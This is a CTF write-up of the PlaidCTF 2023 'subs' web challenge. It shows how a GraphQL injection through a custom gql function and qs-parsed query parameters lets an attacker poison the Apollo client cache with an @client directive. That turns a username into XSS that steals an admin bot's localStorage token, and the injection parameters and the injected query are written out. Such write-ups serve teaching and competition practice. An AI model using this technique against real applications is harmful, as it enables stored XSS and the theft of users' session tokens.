PlaidCTF 2023 - subs - web
Cache Poisoning in GraphQL
The flag is accessible for admin only, admin is a bot verified based on window.localStorage.token.
In order to communicate the client and the server make use of linked apollo graphql.
Client
Written in a React frontend web app, had some dangerouslySetInnerHTML in few places, but not in places controlled by us. What we control is for example our username.
Some component Episode has inside set dangerouslySetInnerHTML={episode.description}, but we don’t control the description of the episode! We though control other entity called Playlist and our own username.
Here comes the solution…
Solution
tl;dr - Pollute the cache mechanism that is in gql function.
GraphQL Injection
gql function:
export function gql(literals: TemplateStringsArray, ...args: any[]) {
const parts = [literals[0]];
for (let i = 0; i < args.length; i++) {
const arg: unknown = args[i];
if (isNode(arg)) {
parts.push(print(arg));
} else if (arg === undefined || arg === null) {
parts.push("null");
} else {
parts.push(JSON.stringify(arg));
}
parts.push(literals[i + 1]);
}
const source = parts.join("");
if (cache.has(source)) {
return cache.get(source)!;
}
const document = parse(source);
cache.set(source, document);
return document;
}
The source variable is a GraphQL query. We are able to inject our own query in one specific place:
const { data, loading, error } = useQuery<PlaylistQueryResult>(gql`
query PlaylistQuery {
playlist(id: ${props.id}) {
id
name
description
episodes {
id
name
}
owner {
id
name
}
}
}
`);
Here we control fully the props.id object and can make it whatever we want, because of the qs library used and id being retrieved as params.
In order to have our injection, we need to satisfy the isNode in the loop:
for (let i = 0; i < args.length; i++) {
const arg: unknown = args[i];
if (isNode(arg)) {
parts.push(print(arg)); // <--- Our value is being concatenated with the query itself
} else if (arg === undefined || arg === null) {
parts.push("null");
} else {
parts.push(JSON.stringify(arg));
}
parts.push(literals[i + 1]);
}
const source = parts.join("");
To do so, we can just pass in path params:
?id[kind]=Name&id[value]="whatever we want"){}
Then the query will look as follows:
query PlaylistQuery {
playlist(id: "whatever we want"){}) {
id
name
description
episodes {
id
name
}
owner {
id
name
}
}
}
instead of rendering it using JSON.stringify that would escape all quotes.
GraphQL Apollo Cache poisoning
GraphQL makes use of KNOWN_DIRECTIVES that can be used as follows: @<direcive>.
We are especially interested in client directive - it gives a possibility to include local-only fiels that aren’t defined in your GraphQL server’s schema.
Based on field we control - username. We add XSS to it and we create a local client directive and we call it a episode description, the result gets cached, and the admin bot views the cached episodes list and gets an XSS thus giving us its window.localStorage.token.
GraphQL query:
query PlaylistQuery {
playlist(id: ${props.id}) {
id
name
description
episodes {
id
name
}
owner {
id
name
}
}
x: user(id: "8b922526-7c27-43b7-ad2a-12f83acd870a") {
name
playlists {
id
name
description @client description:owner{__html:name} # <--- HERE
episodeCount
}
shows {
id
name
}
}
dummy: playlist(id: "00000000-0000-0000-0000-000000000000") {
id
name
description
episodes {
id
name
}
owner {
id
name
}
}
}
To remember
-
React special props - they work only on pure html components, not on react components, but still can be passed down.
-
blue pichu makes too big but fun challs